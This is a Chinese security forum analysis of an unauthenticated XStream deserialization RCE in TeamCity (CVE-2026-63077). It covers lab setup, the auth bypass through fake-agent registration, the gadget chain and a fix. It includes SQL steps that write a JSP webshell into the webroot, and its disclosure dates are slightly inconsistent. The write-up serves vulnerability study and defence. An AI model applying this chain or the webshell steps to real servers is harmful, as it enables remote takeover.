奇安信攻防社区-CVE-2026-63077: TeamCity 未授权XStream反序列化 RCE 分析

CVE-2026-63077: TeamCity 未授权XStream反序列化 RCE 分析

CVE-2026-63077 是 JetBrains TeamCity 未授权 RCE,CVSS 9.8,2025 年 7 月底公开,已进 CISA KEV。漏洞在 build-agent 轮询协议,两个端点串打:先打未授权的 /app/agents/v1/register 注册伪 agent,从响应头拿到 TeamCity-AgentSessionId 当凭证;再带 session 打 /app/agents/v1/commands/error,请求体原样交给 XStream 反序列化完成 RCE。

0x01 影响范围
---------

- 漏洞版本:2026.1.2 及更早(包括 2026.1.0/2026.1.2 等今年新版)
- 修复版本:2025.11.7、2026.1.3

0x02 环境搭建
---------

1. 准备 docker-compose.yml(目录 /home/ubuntu/Desktop/CVE--2026-63077/):

```yml
version: "3"
services:
  teamcity:
    image: jetbrains/teamcity-server:2026.1.2-linux
    container_name: teamcity-cve-2026-63077
    ports:
      - "8111:8111"
    volumes:
      - teamcity-data:/opt/teamcity/data
      - teamcity-logs:/opt/teamcity/logs
    restart: unless-stopped

volumes:
  teamcity-data:
  teamcity-logs:
```

2. 拉镜像 + 启动(在 192.168.170.128 上):

```bash
cd /home/ubuntu/Desktop/CVE--2026-63077
docker compose up -d            # 首次会自动拉镜像,约 1.2GB
docker logs -f teamcity-cve-2026-63077   # 看启动日志
```

3. 验证启动完成:

浏览器访问 <http://192.168.170.128:8111/> 首次会进 TeamCity 初始化向导(选内部数据HSQLDB库即可,不用配外部 DB)，然后设置管理密码就行。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-ec85aa02fc6fda0d2e5cae4439ab188de87b5830.png)

0x03 agent polling 协议
---------------------

TeamCity 的 build agent 要从 server 拉任务,走的是一套 HTTP 接口 `/app/agents/v1/*`,官方叫 agent polling protocol。漏洞打到的是其中两个端点:

- `POST /app/agents/v1/register` —— agent 注册,server 回一个 session id
- `POST /app/agents/v1/commands/error` —— agent 上报命令执行错误

反编译 `web-core.jar` 能看到这套接口的路由全在 `AgentPollingProtocolController` 这一个类里,而且**不是注解路由,是手动 `split("/")` 切字符串**。`handleAgentRequest()` 拿到 pathInfo 后逐段比较:

```java
// AgentPollingProtocolController.handleAgentRequest
String string = httpServletRequest.getPathInfo();   // agents/v1/commands/error
string = string.substring(1);
String[] stringArray = string.split("/");            // ["agents","v1","commands","error"]
if (!stringArray[0].equals("agents")) { ... }        // 校验前缀
return this.dispatch(stringArray, req, resp);

// dispatch()
if (!"v1".equals(stringArray[1])) break;
if (!"register".equals(stringArray[2])) break;
return this.registerAgent(req, resp);                // /v1/register
if ("commands".equals(stringArray[2])) {
    return this.handleCommands(req, resp, stringArray);  // /v1/commands/*
}
```

`/v1/register` 走 `registerAgent`,`/v1/commands/*` 走 `handleCommands`。后者再按第四段 `stringArray[3]` 分三类:`next`(agent 拉下一条命令)、`result`(上报命令完成)、`error`(上报命令失败)——XStream反序列化漏洞就是最后这个。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-83bcb718a4cf5c85a7bebc2146071da3106788dd.png)

### AgentSessionId的获取

`AbstractAgentCommandsRequestsProcessor#handleCommands` 里看起来有鉴权:读 `TeamCity-AgentSessionId` 头,按它 `findAgentBySessionId` 找 agent,找不到返 401:

```java
// AgentPollingProtocolController.handleCommands
String string = httpServletRequest.getHeader("TeamCity-AgentSessionId");
BuildAgentEx buildAgentEx = this.findAgentBySessionId(string);
if (buildAgentEx == null) {
    httpServletResponse.setStatus(401);
    httpServletResponse.getWriter().write("Agent's session is not found");
    return null;
}
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-3144c3cb1936a2f61307e0a8cb1b44c1b5ce3cc3.png)

但这道校验对攻击者等于没有：因为 session 是上一步 `registerAgent` 发的,而 `registerAgent` 不鉴权。攻击者先打 register 伪造一个 agent 拿到合法 session,再带着这个 session 打 `commands/error`就行。

### Error.fromXml反序列化漏洞利用

`AgentPollingProtocolController` 只管路由,不碰请求体。`commands/error` 的实际处理交给 `AgentCommandsRequestsProcessor`,反编译看它的实现类 `AbstractAgentCommandsRequestsProcessor`,漏洞入口就一行:

```java
// AbstractAgentCommandsRequestsProcessor.handleCommandIsFailedRequest  (第 61 行)
Error error = Error.fromXml((String)StreamUtil.readTextFrom(httpServletRequest.getReader()));
```

请求体整个读出来当字符串,丢给 `Error.fromXml()` 反序列化成 `Error` 对象。`Error.fromXml` 内部走 XStream。攻击者构造的 gadget XML 在这一步被还原成对象图，后续触发整条链。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-20a56e16670a267fc78558eeade36c56275af5a9.png)  
整条调用链串起来:

```python
HTTP POST /app/agents/v1/commands/error
  │  (Spring 按 /app/agents 前缀路由)
  ▼
AgentPollingProtocolController.handleAgentRequest
  │  getPathInfo() split("/") → ["agents","v1","commands","error"]
  ▼
AgentPollingProtocolController.dispatch
  │  [0]==agents ✓ [1]==v1 ✓ [2]==commands ✓
  ▼
AgentPollingProtocolController.handleCommands
  │  读 TeamCity-AgentSessionId → findAgentBySessionId
  │  (session 来自无鉴权的 register,这道校验形同虚设)
  │  [3]==error ✓
  ▼
AbstractAgentCommandsRequestsProcessor.handleCommandIsFailedRequest
  │
  ▼  ← 漏洞入口
Error.fromXml( 请求体 )  →  XStream 反序列化  →  gadget 链触发  →  RCE
```

0x04 XStream gadget 链
---------------------

在XStreamHolder#setupDefaultSecurityOldWay这里其实是先默认全部类通过但是如果在黑名单的话则进行校验。所以最后RCE的思路其实就是找不在黑名单中的类进行利用。  
rapid7文章中的漏洞利用Sink点是`BasicDataSource.getConnection()`，XStream 反序列化本质是把 XML 还原成对象。它不会主动调对象的任意方法，所以没办法在反序列化调用这个对象的 getConnection"。但是漏洞利用链中却利用成功，下面来分析rapid这个利用链利用过程。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-3dd4c23431aa652706506b097d16a3749582b4a5.png)

### 1.利用FreeMarker(HashAdapter)触发getter方法

FreeMarker 的 `BeanModel`有个 introspection 特性：把 Java 对象包装成 Map 后，对 Map 调 `get("xxx")` 会自动找底层对象的 `getXxx()` 调用。这是 JavaBean 标准的获取熟悉调用`getXxx` 对应属性 `xxx`。

```java
public TemplateModel get(String key) throws TemplateModelException {
    Class<?> clazz = this.object.getClass();
    Map classInfo = this.wrapper.getClassIntrospector().get(clazz);
    Object fd = classInfo.get(key);                  // 用 key 查属性描述符
    return this.invokeThroughDescriptor(fd, classInfo); // 按描述符调对应方法
}
```

`classInfo` 是 FreeMarker 对这个类做 JavaBean introspection 后建的"属性名 → PropertyDescriptor"表。属性名从方法名抽出来的逻辑在 `_MethodUtil.getBeanPropertyNameFromReaderMethodName`:

```java
if (name.startsWith("get")) {
    start = 3;            // 去掉 "get"
} else if (returnType == Boolean.TYPE &amp;&amp; name.startsWith("is")) {
    start = 2;
}
// 首字母小写
return Character.toLowerCase(c1) + name.substring(start+1, ln);
```

所以 `BasicDataSource.getConnection()` 在这张表里登记成属性名 `connection`。`invokeThroughDescriptor` 拿到描述符，调它的 `getReadMethod()`(就是 `getConnection`)，反射执行。

`freemarker.ext.beans.HashAdapter`实现`java.util.Map`，这个HashAdapter extends AbstractMap，在这个类的 get() 内部转调 BeanModel.get():

```java
public class HashAdapter extends AbstractMap implements TemplateModelAdapter {
    private final BeansWrapper wrapper;
    private final TemplateHashModel model;     // 持有一个 BeanModel(或其子类)

@Override
    public Object get(Object key) {
        try {
            return this.wrapper.unwrap(
                this.model.get(String.valueOf(key)));   // 转调 BeanModel.get(String)
        } catch (TemplateModelException e) {
            throw new UndeclaredThrowableException(e);
        }
    }
    ...
}
```

这样从"调 BasicDataSource#getConnection"降级成"反序列化时调 map.get("connection")"，有个好处:

1. 触发点多 —— 在 Java 宇宙里，反序列化时被动调 Map.get(key) 的路径远比"调某个具体类的某个方法"多。HashMap 找桶、HashSet 去重、TiedMapEntry.hashCode()→getValue()→map.get(key),全是 Map.get 的触发点,且这些容器类反序列化时必然触发。

### 2.BasicDataSource的实例化

这块我不太理解为什么XML中直接实例化BasicDataSource，问了下ai

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-d4c86be95e349a608e47cd1d689df1906d91ffb7.png)

所以就是：XStream 对显式写类名的节点会过 realClass() 权限检查,它不在放行名单里会被 ForbiddenClassException 拒掉。所以链里把它藏在 SchemaMismatchException.this$0 → myHSQLStorage → myDataSource 的字段链里,靠 Java 字段声明类型推导带进来,不显式写类名就绕过了这道检查。

所以BasicDataSource的实例化调用链如下：

```php
XStream 从 <linked-hash-map> 开始反序列化
  │
  ▼
<entry> 的 value 节点名 = "HSQLMetadataStorage$SchemaMismatchException"
  │  ★ 元素名是显式类名 → SecurityMapper.realClass() 检查
  │  ★ SchemaMismatchException 继承 RuntimeException,命中 allowTypeHierarchy(Exception.class)
  │  ✅ 放行,分配 SchemaMismatchException 实例
  ▼
ReflectionConverter 还原 SchemaMismatchException 的字段
  │
  ├─ this$0  (编译器加的非静态内部类字段,声明类型 = HSQLMetadataStorage)
  │    │  ★ 节点 <outer-class> 不是显式类名,XStream 按字段声明类型 HSQLMetadataStorage 分配
  │    │  ★ 声明类型推导,不调 realClass(),不查权限
  │    │  ✅ 直接分配 HSQLMetadataStorage
  │    ▼
  │  还原 HSQLMetadataStorage 的字段
  │    │
  │    └─ myHSQLStorage  (声明类型 = HSQLStorage)
  │         │  ★ 节点 <myHSQLStorage> 不是显式类名,按声明类型 HSQLStorage 分配
  │         │  ★ 不调 realClass()
  │         │  ✅ 直接分配 HSQLStorage
  │         ▼
  │       还原 HSQLStorage 的字段
  │         │
  │         └─ myDataSource  (声明类型 = BasicDataSource)
  │              │  ★ 节点 <myDataSource> 不带 class 属性,按声明类型 BasicDataSource 分配
  │              │  ★ BasicDataSource 类名从未出现在任何显式类名位置 → 不触发 realClass()
  │              │  ★ 不查黑名单,不查放行名单,直接分配
  │              │  ✅ BasicDataSource 实例化成功 ← 偷渡到位
  │              ▼
  │            填 connectionInitSqls / url / driverClassName ... (攻击者可控的注入载荷)
  │
  └─ (SchemaMismatchException 本身的 message 等字段)
```

### 3.XML中触发BasicDataSource#getConnection

现在我们知道了BasicDataSource和其getConnection方法的触发，现在要考虑怎么把二者链接起来。第一节提到过 Map.get 的被动触发点在反序列化里很多，这里用的是 HashSet。

HashSet 还原时要重建哈希桶，底层是 HashMap,每放一个元素都要算 key 的 hashCode() 定位桶。这是 HashSet 反序列化必经的步骤,躲不掉。Commons Collections 的 TiedMapEntry 正好把 hashCode() 接到 map.get(key) 上:

```java
// TiedMapEntry
public Object getValue() {
    return this.map.get(this.key);     // 查 Map,触发 BeanModel introspection
}
public int hashCode() {
    Object value = this.getValue();     // hashCode 调 getValue
    return (this.getKey()==null?0:this.getKey().hashCode()) ^ (value==null?0:value.hashCode());
}
```

把 TiedMapEntry 的 map 填成 ② 里的 HashAdapter,key 填 "connection",再把 TiedMapEntry 放进 HashSet。XStream 还原 走 CollectionConverter#addCurrentElementToCollection:

```java
Object item = this.readItem(reader, context, collection);  // 还原出 TiedMapEntry
target.add(item);     // HashSet.add → HashMap.put → 算 key 的 hashCode
```

target.add(item) 内部 HashMap.put 要算 TiedMapEntry 的 hashCode 定位桶，链从这一步开始跑。完整调用链:

```python
XStream 反序列化 <linked-hash-map> 的 ③ entry
  │
  ▼
还原 HashSet,CollectionConverter.addCurrentElementToCollection
  │
  ▼
HashSet.add(TiedMapEntry)  →  HashMap.put(TiedMapEntry, ...)
  │  ★ 放进哈希桶要算 key 的 hashCode
  ▼
TiedMapEntry.hashCode()  →  getValue()
  │
  ▼
this.map.get(this.key)   ← map 是 reference 指向 ② 的 HashAdapter,key="connection"
  │
  ▼
HashAdapter.get("connection")
  │  ★ 内部转调 this.model.get("connection")
  ▼
BeanModel.get("connection")
  │  ★ 查 classInfo 表,拿到 connection 属性的 PropertyDescriptor
  ▼
invokeThroughDescriptor → getReadMethod().invoke(object)
  │  ★ model 的 object 字段是 reference 指向 ① 偷渡进来的 BasicDataSource
  ▼
BasicDataSource.getConnection()   ← sink
  │
  ▼
DBCP 执行 connectionInitSqls  →  HSQLDB SCRIPT 写 .jspws 到 webroot
```

### 4.通过HSQLDB触发RCE

TeamCity在默认的配置情况下会装HSQLDB驱动所以可以用HSQLDB执行SQL语句来RCE：BasicDataSource.getConnection() 本身很短,就是委托:

```java
// org.apache.commons.dbcp2.BasicDataSource
@Override
public Connection getConnection() throws SQLException {
    return createDataSource().getConnection();
}
```

它做两件事:

1. createDataSource()：根据 XML 里填的那些字段(driverClassName、url、userName、password、maxTotal...)实例化一个内部的 GenericObjectPool(连接池)和一个 PoolableConnectionFactory。关键就在这个工厂的构造里：DBCP 会把 connectionInitSqls 注册成"每个新连接创建后要执行的 SQL"。createDataSource() 末尾会触发第一个连接的创建，于是 init SQL 就在这一刻被执行。
2. .getConnection() ： 从池里取一个连接。如果池是空的,工厂就造一个新的 PoolableConnection。造新连接的流程是:用 DriverManager.getConnection(url, user, pwd) 拿到原生 JDBC 连接 → 跑一遍 connectionInitSqls 里的每条 SQL → 包装成 PoolableConnection 入池。

HSQL如果我们能执行SQL语句的话可以通过导出表写文件来RCE

1. 建表：

```sql
CREATE TABLE IF NOT EXISTS T0849B7B5DA12(CE0273C145420 VARCHAR(4000))
```

2. 把 JSP 片段当成字符串塞进表里

```sql
INSERT INTO T0849B7B5DA12 VALUES ('<% ... ProcessBuilder 跑 whoami、结果 out.print 回显 ... %>')
```

3. HSQLDB 库导出，把表内容写到 webroot

```sql
SCRIPT '../webapps/ROOT/093cb2a365d9.jspws'
```

这里为什么不是jsp/jspx而是jspws：

web.xml 里 \*.jspws 直接映射到 Jasper 的 realJspServlet(org.apache.jasper.servlet.JspServlet)，不经过 TeamCity 的任何控制器,匿名请求直接到 Jasper,Jasper 编译 webroot 下的文件并执行。

```xml

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>
```

*.jsp 和* .jspx 都映射到 buildServer(TeamCityDispatcherServlet),这是 TeamCity 的中央调度 servlet。这里会有权限校验

```xml

<servlet>
  <servlet-name>buildServer</servlet-name>
  <servlet-class>jetbrains.buildServer.maintenance.TeamCityDispatcherServlet</servlet-class>
  <load-on-startup>2</load-on-startup>
  <async-supported>true</async-supported>
</servlet>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jspx</url-pattern>
</servlet-mapping>
```

0x05 漏洞利用
---------

1. 凭证获取  
    ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-89836e89bfb8c37f66119883e610ef952f64d30b.png)
2. XStream反序列化写文件  
    ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-2bcc5b07157b5b5b99dd3d028c5cfde7d2c8c3e4.png)
3. 命令执行获得回显  
    ![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/08/attach-806fa5d9d4dc651af4b5e51f8ec38587df741bc8.png)

0x06 修复方案&amp;临时缓解措施
--------------------

- **首选**:升级到 `2025.11.7` 或 `2026.1.3` 及以上。
- **临时缓解**:无法立即升级时,在反向代理层对 `/app/agents/v1/*` 加访问控制,限制来源 IP(该路径仅应被受管 agent 访问)。最窄的止血面是只拦触发 RCE 的 `POST /app/agents/v1/commands/error`;但 register→commands 共用 agent 会话,直接对整个 `/app/agents/v1/*` 限源更稳妥:

```nginx
# 反向代理层限源示例。需在 http 块定义 upstream:
# upstream teamcity-backend { server 127.0.0.1:8111; }
server {
    location ~ ^/app/agents/v1/ {
        allow 192.168.0.0/16;   # 换成你的受管 agent 网段
        deny all;
        proxy_pass http://teamcity-backend;
        proxy_http_version 1.1;
    }
}
```

Reference
---------

- NVD: <https://nvd.nist.gov/vuln/detail/CVE-2026-63077>
- JetBrains 公告: <https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/>
- Rapid7 PoC: <https://github.com/sfewer-r7/CVE-2026-63077>
- Rapid7 Report：<https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/>

发表于 2026-09-10 09:48:22
阅读 ( 4439 )
分类：漏洞分析

CVE-2026-63077: TeamCity 未授权XStream反序列化 RCE 分析

0 条评论